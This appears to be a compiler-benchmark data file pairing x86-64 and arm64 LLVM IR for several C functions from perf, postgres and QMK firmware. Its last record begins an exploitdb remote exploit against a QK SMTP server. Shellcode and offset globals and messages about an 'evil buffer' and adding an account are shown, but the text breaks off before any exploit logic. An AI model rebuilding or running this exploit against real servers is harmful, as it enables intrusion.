; ModuleID = 'AnghaBench/linux/tools/perf/util/extr_trace-event.c_trace_event__cleanup.c'
source_filename = "AnghaBench/linux/tools/perf/util/extr_trace-event.c_trace_event__cleanup.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
%struct.trace_event = type { i32, i32 }
; Function Attrs: nounwind uwtable
define dso_local void @trace_event__cleanup(ptr nocapture noundef readonly %0) local_unnamed_addr #0 {
%2 = getelementptr inbounds %struct.trace_event, ptr %0, i64 0, i32 1
%3 = load i32, ptr %2, align 4, !tbaa !5
%4 = load i32, ptr %0, align 4, !tbaa !10
%5 = tail call i32 @tep_unload_plugins(i32 noundef %3, i32 noundef %4) #2
%6 = load i32, ptr %0, align 4, !tbaa !10
%7 = tail call i32 @tep_free(i32 noundef %6) #2
ret void
}
declare i32 @tep_unload_plugins(i32 noundef, i32 noundef) local_unnamed_addr #1
declare i32 @tep_free(i32 noundef) local_unnamed_addr #1
attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !7, i64 4}
!6 = !{!"trace_event", !7, i64 0, !7, i64 4}
!7 = !{!"int", !8, i64 0}
!8 = !{!"omnipotent char", !9, i64 0}
!9 = !{!"Simple C/C++ TBAA"}
!10 = !{!6, !7, i64 0}
| ; ModuleID = 'AnghaBench/linux/tools/perf/util/extr_trace-event.c_trace_event__cleanup.c'
source_filename = "AnghaBench/linux/tools/perf/util/extr_trace-event.c_trace_event__cleanup.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
; Function Attrs: nounwind ssp uwtable(sync)
define void @trace_event__cleanup(ptr nocapture noundef readonly %0) local_unnamed_addr #0 {
%2 = getelementptr inbounds i8, ptr %0, i64 4
%3 = load i32, ptr %2, align 4, !tbaa !6
%4 = load i32, ptr %0, align 4, !tbaa !11
%5 = tail call i32 @tep_unload_plugins(i32 noundef %3, i32 noundef %4) #2
%6 = load i32, ptr %0, align 4, !tbaa !11
%7 = tail call i32 @tep_free(i32 noundef %6) #2
ret void
}
declare i32 @tep_unload_plugins(i32 noundef, i32 noundef) local_unnamed_addr #1
declare i32 @tep_free(i32 noundef) local_unnamed_addr #1
attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #2 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !8, i64 4}
!7 = !{!"trace_event", !8, i64 0, !8, i64 4}
!8 = !{!"int", !9, i64 0}
!9 = !{!"omnipotent char", !10, i64 0}
!10 = !{!"Simple C/C++ TBAA"}
!11 = !{!7, !8, i64 0}
| linux_tools_perf_util_extr_trace-event.c_trace_event__cleanup |
; ModuleID = 'AnghaBench/postgres/src/backend/regex/extr_regc_nfa.c_copyins.c'
source_filename = "AnghaBench/postgres/src/backend/regex/extr_regc_nfa.c_copyins.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
%struct.state = type { ptr, i32 }
%struct.arc = type { i32, i32, i32, ptr }
@REG_CANCEL = dso_local local_unnamed_addr global i32 0, align 4
@NOTREACHED = dso_local local_unnamed_addr global i32 0, align 4
@llvm.compiler.used = appending global [1 x ptr] [ptr @copyins], section "llvm.metadata"
; Function Attrs: nounwind uwtable
define internal void @copyins(ptr noundef %0, ptr noundef %1, ptr noundef %2) #0 {
%4 = alloca ptr, align 8
%5 = alloca ptr, align 8
%6 = icmp ne ptr %1, %2
%7 = zext i1 %6 to i32
%8 = tail call i32 @assert(i32 noundef %7) #3
%9 = getelementptr inbounds %struct.state, ptr %1, i64 0, i32 1
%10 = load i32, ptr %9, align 8, !tbaa !5
%11 = getelementptr inbounds %struct.state, ptr %2, i64 0, i32 1
%12 = load i32, ptr %11, align 8, !tbaa !5
%13 = tail call i32 @BULK_ARC_OP_USE_SORT(i32 noundef %10, i32 noundef %12) #3
%14 = icmp eq i32 %13, 0
br i1 %14, label %15, label %25
15: ; preds = %3
%16 = load ptr, ptr %1, align 8, !tbaa !11
%17 = icmp eq ptr %16, null
br i1 %17, label %93, label %18
18: ; preds = %15, %18
%19 = phi ptr [ %23, %18 ], [ %16, %15 ]
%20 = load i32, ptr %19, align 8, !tbaa !12
%21 = tail call i32 @cparc(ptr noundef %0, ptr noundef nonnull %19, i32 noundef %20, ptr noundef %2) #3
%22 = getelementptr inbounds %struct.arc, ptr %19, i64 0, i32 3
%23 = load ptr, ptr %22, align 8, !tbaa !11
%24 = icmp eq ptr %23, null
br i1 %24, label %93, label %18, !llvm.loop !14
25: ; preds = %3
call void @llvm.lifetime.start.p0(i64 8, ptr nonnull %4) #3
call void @llvm.lifetime.start.p0(i64 8, ptr nonnull %5) #3
%26 = load ptr, ptr %0, align 8, !tbaa !16
%27 = load i32, ptr %26, align 4, !tbaa !18
%28 = tail call i64 @CANCEL_REQUESTED(i32 noundef %27) #3
%29 = icmp eq i64 %28, 0
br i1 %29, label %33, label %30
30: ; preds = %25
%31 = load i32, ptr @REG_CANCEL, align 4, !tbaa !20
%32 = tail call i32 @NERR(i32 noundef %31) #3
br label %92
33: ; preds = %25
%34 = tail call i32 @sortins(ptr noundef nonnull %0, ptr noundef nonnull %1) #3
%35 = tail call i32 @sortins(ptr noundef nonnull %0, ptr noundef nonnull %2) #3
%36 = tail call i64 (...) @NISERR() #3
%37 = icmp eq i64 %36, 0
br i1 %37, label %38, label %92
38: ; preds = %33
%39 = load ptr, ptr %1, align 8, !tbaa !21
store ptr %39, ptr %4, align 8, !tbaa !11
%40 = load ptr, ptr %2, align 8, !tbaa !21
store ptr %40, ptr %5, align 8, !tbaa !11
%41 = icmp ne ptr %39, null
%42 = icmp ne ptr %40, null
%43 = select i1 %41, i1 %42, i1 false
br i1 %43, label %47, label %44
44: ; preds = %74, %38
%45 = phi ptr [ %39, %38 ], [ %75, %74 ]
%46 = icmp eq ptr %45, null
br i1 %46, label %92, label %80
47: ; preds = %38, %74
%48 = phi ptr [ %75, %74 ], [ %39, %38 ]
%49 = call i32 @sortins_cmp(ptr noundef nonnull %4, ptr noundef nonnull %5) #3
switch i32 %49, label %71 [
i32 -1, label %50
i32 0, label %60
i32 1, label %67
]
50: ; preds = %47
%51 = load ptr, ptr %4, align 8, !tbaa !11
%52 = getelementptr inbounds %struct.arc, ptr %51, i64 0, i32 3
%53 = load ptr, ptr %52, align 8, !tbaa !22
store ptr %53, ptr %4, align 8, !tbaa !11
%54 = getelementptr inbounds %struct.arc, ptr %48, i64 0, i32 2
%55 = load i32, ptr %54, align 8, !tbaa !23
%56 = getelementptr inbounds %struct.arc, ptr %48, i64 0, i32 1
%57 = load i32, ptr %56, align 4, !tbaa !24
%58 = load i32, ptr %48, align 8, !tbaa !12
%59 = call i32 @createarc(ptr noundef nonnull %0, i32 noundef %55, i32 noundef %57, i32 noundef %58, ptr noundef nonnull %2) #3
br label %74
60: ; preds = %47
%61 = load ptr, ptr %4, align 8, !tbaa !11
%62 = getelementptr inbounds %struct.arc, ptr %61, i64 0, i32 3
%63 = load ptr, ptr %62, align 8, !tbaa !22
store ptr %63, ptr %4, align 8, !tbaa !11
%64 = load ptr, ptr %5, align 8, !tbaa !11
%65 = getelementptr inbounds %struct.arc, ptr %64, i64 0, i32 3
%66 = load ptr, ptr %65, align 8, !tbaa !22
store ptr %66, ptr %5, align 8, !tbaa !11
br label %74
67: ; preds = %47
%68 = load ptr, ptr %5, align 8, !tbaa !11
%69 = getelementptr inbounds %struct.arc, ptr %68, i64 0, i32 3
%70 = load ptr, ptr %69, align 8, !tbaa !22
store ptr %70, ptr %5, align 8, !tbaa !11
br label %74
71: ; preds = %47
%72 = load i32, ptr @NOTREACHED, align 4, !tbaa !20
%73 = call i32 @assert(i32 noundef %72) #3
br label %74
74: ; preds = %71, %67, %60, %50
%75 = load ptr, ptr %4, align 8, !tbaa !11
%76 = icmp ne ptr %75, null
%77 = load ptr, ptr %5, align 8
%78 = icmp ne ptr %77, null
%79 = select i1 %76, i1 %78, i1 false
br i1 %79, label %47, label %44, !llvm.loop !25
80: ; preds = %44, %80
%81 = phi ptr [ %90, %80 ], [ %45, %44 ]
%82 = getelementptr inbounds %struct.arc, ptr %81, i64 0, i32 3
%83 = load ptr, ptr %82, align 8, !tbaa !22
store ptr %83, ptr %4, align 8, !tbaa !11
%84 = getelementptr inbounds %struct.arc, ptr %81, i64 0, i32 2
%85 = load i32, ptr %84, align 8, !tbaa !23
%86 = getelementptr inbounds %struct.arc, ptr %81, i64 0, i32 1
%87 = load i32, ptr %86, align 4, !tbaa !24
%88 = load i32, ptr %81, align 8, !tbaa !12
%89 = call i32 @createarc(ptr noundef nonnull %0, i32 noundef %85, i32 noundef %87, i32 noundef %88, ptr noundef nonnull %2) #3
%90 = load ptr, ptr %4, align 8, !tbaa !11
%91 = icmp eq ptr %90, null
br i1 %91, label %92, label %80, !llvm.loop !26
92: ; preds = %80, %44, %33, %30
call void @llvm.lifetime.end.p0(i64 8, ptr nonnull %5) #3
call void @llvm.lifetime.end.p0(i64 8, ptr nonnull %4) #3
br label %93
93: ; preds = %18, %15, %92
ret void
}
declare i32 @assert(i32 noundef) local_unnamed_addr #1
declare i32 @BULK_ARC_OP_USE_SORT(i32 noundef, i32 noundef) local_unnamed_addr #1
; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite)
declare void @llvm.lifetime.start.p0(i64 immarg, ptr nocapture) #2
declare i32 @cparc(ptr noundef, ptr noundef, i32 noundef, ptr noundef) local_unnamed_addr #1
; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite)
declare void @llvm.lifetime.end.p0(i64 immarg, ptr nocapture) #2
declare i64 @CANCEL_REQUESTED(i32 noundef) local_unnamed_addr #1
declare i32 @NERR(i32 noundef) local_unnamed_addr #1
declare i32 @sortins(ptr noundef, ptr noundef) local_unnamed_addr #1
declare i64 @NISERR(...) local_unnamed_addr #1
declare i32 @sortins_cmp(ptr noundef, ptr noundef) local_unnamed_addr #1
declare i32 @createarc(ptr noundef, i32 noundef, i32 noundef, i32 noundef, ptr noundef) local_unnamed_addr #1
attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #2 = { mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) }
attributes #3 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
!5 = !{!6, !10, i64 8}
!6 = !{!"state", !7, i64 0, !10, i64 8}
!7 = !{!"any pointer", !8, i64 0}
!8 = !{!"omnipotent char", !9, i64 0}
!9 = !{!"Simple C/C++ TBAA"}
!10 = !{!"int", !8, i64 0}
!11 = !{!7, !7, i64 0}
!12 = !{!13, !10, i64 0}
!13 = !{!"arc", !10, i64 0, !10, i64 4, !10, i64 8, !7, i64 16}
!14 = distinct !{!14, !15}
!15 = !{!"llvm.loop.mustprogress"}
!16 = !{!17, !7, i64 0}
!17 = !{!"nfa", !7, i64 0}
!18 = !{!19, !10, i64 0}
!19 = !{!"TYPE_2__", !10, i64 0}
!20 = !{!10, !10, i64 0}
!21 = !{!6, !7, i64 0}
!22 = !{!13, !7, i64 16}
!23 = !{!13, !10, i64 8}
!24 = !{!13, !10, i64 4}
!25 = distinct !{!25, !15}
!26 = distinct !{!26, !15}
| ; ModuleID = 'AnghaBench/postgres/src/backend/regex/extr_regc_nfa.c_copyins.c'
source_filename = "AnghaBench/postgres/src/backend/regex/extr_regc_nfa.c_copyins.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
@REG_CANCEL = common local_unnamed_addr global i32 0, align 4
@NOTREACHED = common local_unnamed_addr global i32 0, align 4
@llvm.used = appending global [1 x ptr] [ptr @copyins], section "llvm.metadata"
; Function Attrs: nounwind ssp uwtable(sync)
define internal void @copyins(ptr noundef %0, ptr noundef %1, ptr noundef %2) #0 {
%4 = alloca ptr, align 8
%5 = alloca ptr, align 8
%6 = icmp ne ptr %1, %2
%7 = zext i1 %6 to i32
%8 = tail call i32 @assert(i32 noundef %7) #3
%9 = getelementptr inbounds i8, ptr %1, i64 8
%10 = load i32, ptr %9, align 8, !tbaa !6
%11 = getelementptr inbounds i8, ptr %2, i64 8
%12 = load i32, ptr %11, align 8, !tbaa !6
%13 = tail call i32 @BULK_ARC_OP_USE_SORT(i32 noundef %10, i32 noundef %12) #3
%14 = icmp eq i32 %13, 0
br i1 %14, label %15, label %25
15: ; preds = %3
%16 = load ptr, ptr %1, align 8, !tbaa !12
%17 = icmp eq ptr %16, null
br i1 %17, label %93, label %18
18: ; preds = %15, %18
%19 = phi ptr [ %23, %18 ], [ %16, %15 ]
%20 = load i32, ptr %19, align 8, !tbaa !13
%21 = tail call i32 @cparc(ptr noundef %0, ptr noundef nonnull %19, i32 noundef %20, ptr noundef %2) #3
%22 = getelementptr inbounds i8, ptr %19, i64 16
%23 = load ptr, ptr %22, align 8, !tbaa !12
%24 = icmp eq ptr %23, null
br i1 %24, label %93, label %18, !llvm.loop !15
25: ; preds = %3
call void @llvm.lifetime.start.p0(i64 8, ptr nonnull %4) #3
call void @llvm.lifetime.start.p0(i64 8, ptr nonnull %5) #3
%26 = load ptr, ptr %0, align 8, !tbaa !17
%27 = load i32, ptr %26, align 4, !tbaa !19
%28 = tail call i64 @CANCEL_REQUESTED(i32 noundef %27) #3
%29 = icmp eq i64 %28, 0
br i1 %29, label %33, label %30
30: ; preds = %25
%31 = load i32, ptr @REG_CANCEL, align 4, !tbaa !21
%32 = tail call i32 @NERR(i32 noundef %31) #3
br label %92
33: ; preds = %25
%34 = tail call i32 @sortins(ptr noundef nonnull %0, ptr noundef nonnull %1) #3
%35 = tail call i32 @sortins(ptr noundef nonnull %0, ptr noundef nonnull %2) #3
%36 = tail call i64 @NISERR() #3
%37 = icmp eq i64 %36, 0
br i1 %37, label %38, label %92
38: ; preds = %33
%39 = load ptr, ptr %1, align 8, !tbaa !22
store ptr %39, ptr %4, align 8, !tbaa !12
%40 = load ptr, ptr %2, align 8, !tbaa !22
store ptr %40, ptr %5, align 8, !tbaa !12
%41 = icmp ne ptr %39, null
%42 = icmp ne ptr %40, null
%43 = select i1 %41, i1 %42, i1 false
br i1 %43, label %47, label %44
44: ; preds = %74, %38
%45 = phi ptr [ %39, %38 ], [ %75, %74 ]
%46 = icmp eq ptr %45, null
br i1 %46, label %92, label %80
47: ; preds = %38, %74
%48 = phi ptr [ %75, %74 ], [ %39, %38 ]
%49 = call i32 @sortins_cmp(ptr noundef nonnull %4, ptr noundef nonnull %5) #3
switch i32 %49, label %71 [
i32 -1, label %50
i32 0, label %60
i32 1, label %67
]
50: ; preds = %47
%51 = load ptr, ptr %4, align 8, !tbaa !12
%52 = getelementptr inbounds i8, ptr %51, i64 16
%53 = load ptr, ptr %52, align 8, !tbaa !23
store ptr %53, ptr %4, align 8, !tbaa !12
%54 = getelementptr inbounds i8, ptr %48, i64 8
%55 = load i32, ptr %54, align 8, !tbaa !24
%56 = getelementptr inbounds i8, ptr %48, i64 4
%57 = load i32, ptr %56, align 4, !tbaa !25
%58 = load i32, ptr %48, align 8, !tbaa !13
%59 = call i32 @createarc(ptr noundef nonnull %0, i32 noundef %55, i32 noundef %57, i32 noundef %58, ptr noundef nonnull %2) #3
br label %74
60: ; preds = %47
%61 = load ptr, ptr %4, align 8, !tbaa !12
%62 = getelementptr inbounds i8, ptr %61, i64 16
%63 = load ptr, ptr %62, align 8, !tbaa !23
store ptr %63, ptr %4, align 8, !tbaa !12
%64 = load ptr, ptr %5, align 8, !tbaa !12
%65 = getelementptr inbounds i8, ptr %64, i64 16
%66 = load ptr, ptr %65, align 8, !tbaa !23
store ptr %66, ptr %5, align 8, !tbaa !12
br label %74
67: ; preds = %47
%68 = load ptr, ptr %5, align 8, !tbaa !12
%69 = getelementptr inbounds i8, ptr %68, i64 16
%70 = load ptr, ptr %69, align 8, !tbaa !23
store ptr %70, ptr %5, align 8, !tbaa !12
br label %74
71: ; preds = %47
%72 = load i32, ptr @NOTREACHED, align 4, !tbaa !21
%73 = call i32 @assert(i32 noundef %72) #3
br label %74
74: ; preds = %71, %67, %60, %50
%75 = load ptr, ptr %4, align 8, !tbaa !12
%76 = icmp ne ptr %75, null
%77 = load ptr, ptr %5, align 8
%78 = icmp ne ptr %77, null
%79 = select i1 %76, i1 %78, i1 false
br i1 %79, label %47, label %44, !llvm.loop !26
80: ; preds = %44, %80
%81 = phi ptr [ %90, %80 ], [ %45, %44 ]
%82 = getelementptr inbounds i8, ptr %81, i64 16
%83 = load ptr, ptr %82, align 8, !tbaa !23
store ptr %83, ptr %4, align 8, !tbaa !12
%84 = getelementptr inbounds i8, ptr %81, i64 8
%85 = load i32, ptr %84, align 8, !tbaa !24
%86 = getelementptr inbounds i8, ptr %81, i64 4
%87 = load i32, ptr %86, align 4, !tbaa !25
%88 = load i32, ptr %81, align 8, !tbaa !13
%89 = call i32 @createarc(ptr noundef nonnull %0, i32 noundef %85, i32 noundef %87, i32 noundef %88, ptr noundef nonnull %2) #3
%90 = load ptr, ptr %4, align 8, !tbaa !12
%91 = icmp eq ptr %90, null
br i1 %91, label %92, label %80, !llvm.loop !27
92: ; preds = %80, %44, %33, %30
call void @llvm.lifetime.end.p0(i64 8, ptr nonnull %5) #3
call void @llvm.lifetime.end.p0(i64 8, ptr nonnull %4) #3
br label %93
93: ; preds = %18, %15, %92
ret void
}
declare i32 @assert(i32 noundef) local_unnamed_addr #1
declare i32 @BULK_ARC_OP_USE_SORT(i32 noundef, i32 noundef) local_unnamed_addr #1
; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite)
declare void @llvm.lifetime.start.p0(i64 immarg, ptr nocapture) #2
declare i32 @cparc(ptr noundef, ptr noundef, i32 noundef, ptr noundef) local_unnamed_addr #1
; Function Attrs: mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite)
declare void @llvm.lifetime.end.p0(i64 immarg, ptr nocapture) #2
declare i64 @CANCEL_REQUESTED(i32 noundef) local_unnamed_addr #1
declare i32 @NERR(i32 noundef) local_unnamed_addr #1
declare i32 @sortins(ptr noundef, ptr noundef) local_unnamed_addr #1
declare i64 @NISERR(...) local_unnamed_addr #1
declare i32 @sortins_cmp(ptr noundef, ptr noundef) local_unnamed_addr #1
declare i32 @createarc(ptr noundef, i32 noundef, i32 noundef, i32 noundef, ptr noundef) local_unnamed_addr #1
attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
attributes #2 = { mustprogress nocallback nofree nosync nounwind willreturn memory(argmem: readwrite) }
attributes #3 = { nounwind }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
!6 = !{!7, !11, i64 8}
!7 = !{!"state", !8, i64 0, !11, i64 8}
!8 = !{!"any pointer", !9, i64 0}
!9 = !{!"omnipotent char", !10, i64 0}
!10 = !{!"Simple C/C++ TBAA"}
!11 = !{!"int", !9, i64 0}
!12 = !{!8, !8, i64 0}
!13 = !{!14, !11, i64 0}
!14 = !{!"arc", !11, i64 0, !11, i64 4, !11, i64 8, !8, i64 16}
!15 = distinct !{!15, !16}
!16 = !{!"llvm.loop.mustprogress"}
!17 = !{!18, !8, i64 0}
!18 = !{!"nfa", !8, i64 0}
!19 = !{!20, !11, i64 0}
!20 = !{!"TYPE_2__", !11, i64 0}
!21 = !{!11, !11, i64 0}
!22 = !{!7, !8, i64 0}
!23 = !{!14, !8, i64 16}
!24 = !{!14, !11, i64 8}
!25 = !{!14, !11, i64 4}
!26 = distinct !{!26, !16}
!27 = distinct !{!27, !16}
| postgres_src_backend_regex_extr_regc_nfa.c_copyins |
; ModuleID = 'AnghaBench/qmk_firmware/keyboards/georgi/extr_matrix.c_matrix_init_user.c'
source_filename = "AnghaBench/qmk_firmware/keyboards/georgi/extr_matrix.c_matrix_init_user.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
; Function Attrs: nounwind uwtable
define weak dso_local void @matrix_init_user() local_unnamed_addr #0 {
ret void
}
attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3}
!llvm.ident = !{!4}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"}
| ; ModuleID = 'AnghaBench/qmk_firmware/keyboards/georgi/extr_matrix.c_matrix_init_user.c'
source_filename = "AnghaBench/qmk_firmware/keyboards/georgi/extr_matrix.c_matrix_init_user.c"
target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32"
target triple = "arm64-apple-macosx15.0.0"
; Function Attrs: nounwind ssp uwtable(sync)
define weak void @matrix_init_user() local_unnamed_addr #0 {
ret void
}
attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]}
!1 = !{i32 1, !"wchar_size", i32 4}
!2 = !{i32 8, !"PIC Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 1}
!4 = !{i32 7, !"frame-pointer", i32 1}
!5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"}
| qmk_firmware_keyboards_georgi_extr_matrix.c_matrix_init_user |
; ModuleID = 'AnghaBench/exploitdb/exploits/windows/remote/extr_2649.c_main.c'
source_filename = "AnghaBench/exploitdb/exploits/windows/remote/extr_2649.c_main.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128"
target triple = "x86_64-unknown-linux-gnu"
%struct.TYPE_2__ = type { ptr, i8 }
@MAX_ENCODED_LEN = dso_local local_unnamed_addr global i32 0, align 4
@SC_MAX_SIZE = dso_local local_unnamed_addr global i32 0, align 4
@.str = private unnamed_addr constant [22 x i8] c"[+] Target OS is: %s\0A\00", align 1
@targets = dso_local local_unnamed_addr global ptr null, align 8
@.str.1 = private unnamed_addr constant [28 x i8] c"[+] Creating evil buffer...\00", align 1
@stdout = dso_local local_unnamed_addr global i32 0, align 4
@BUFFSIZE = dso_local local_unnamed_addr global i32 0, align 4
@BUGSTR = dso_local local_unnamed_addr global ptr null, align 8
@NETADD_USER = dso_local local_unnamed_addr global ptr null, align 8
@NETADD_PASS = dso_local local_unnamed_addr global ptr null, align 8
@alphanum_shellcode = dso_local local_unnamed_addr global ptr null, align 8
@RET_OFFSET = dso_local local_unnamed_addr global i32 0, align 4
@SHELLCODE_OFFSET = dso_local local_unnamed_addr global i32 0, align 4
@JMPBACK_OFFSET = dso_local local_unnamed_addr global i32 0, align 4
@jmpback = dso_local local_unnamed_addr global ptr null, align 8
@.str.5 = private unnamed_addr constant [8 x i8] c"QK SMTP\00", align 1
@HELO = dso_local local_unnamed_addr global ptr null, align 8
@MAIL_FROM = dso_local local_unnamed_addr global ptr null, align 8
@.str.12 = private unnamed_addr constant [15 x i8] c"[i] LOGIN:\09%s\0A\00", align 1
@.str.13 = private unnamed_addr constant [18 x i8] c"[i] PASSWORD:\09%s\0A\00", align 1
@str = private unnamed_addr constant [5 x i8] c"done\00", align 1
@str.16 = private unnamed_addr constant [30 x i8] c"[+] Connecting to remote host\00", align 1
@str.17 = private unnamed_addr constant [39 x i8] c"[X] This server is not running QK SMTP\00", align 1
@str.18 = private unnamed_addr constant [17 x i8] c"[+] Sending EHLO\00", align 1
@str.19 = private unnamed_addr constant [22 x i8] c"[+] Sending MAIL FROM\00", align 1
@str.20 = private unnamed_addr constant [20 x i8] c"[+] Sending EXPLOIT\00", align 1
@str.21 = private unnamed_addr constant [47 x i8] c"[+] Done - New account should have been added:\00", align 1
@str.22 = private unnamed_addr constant [35 x i8] c"[+] Exploit now hangs up. see ya.\0A\00", align 1
@str.25 = private unnamed_addr constant [26 x i8] c"[X] Failed to send buffer\00", align 1
; Function Attrs: nounwind uwtable
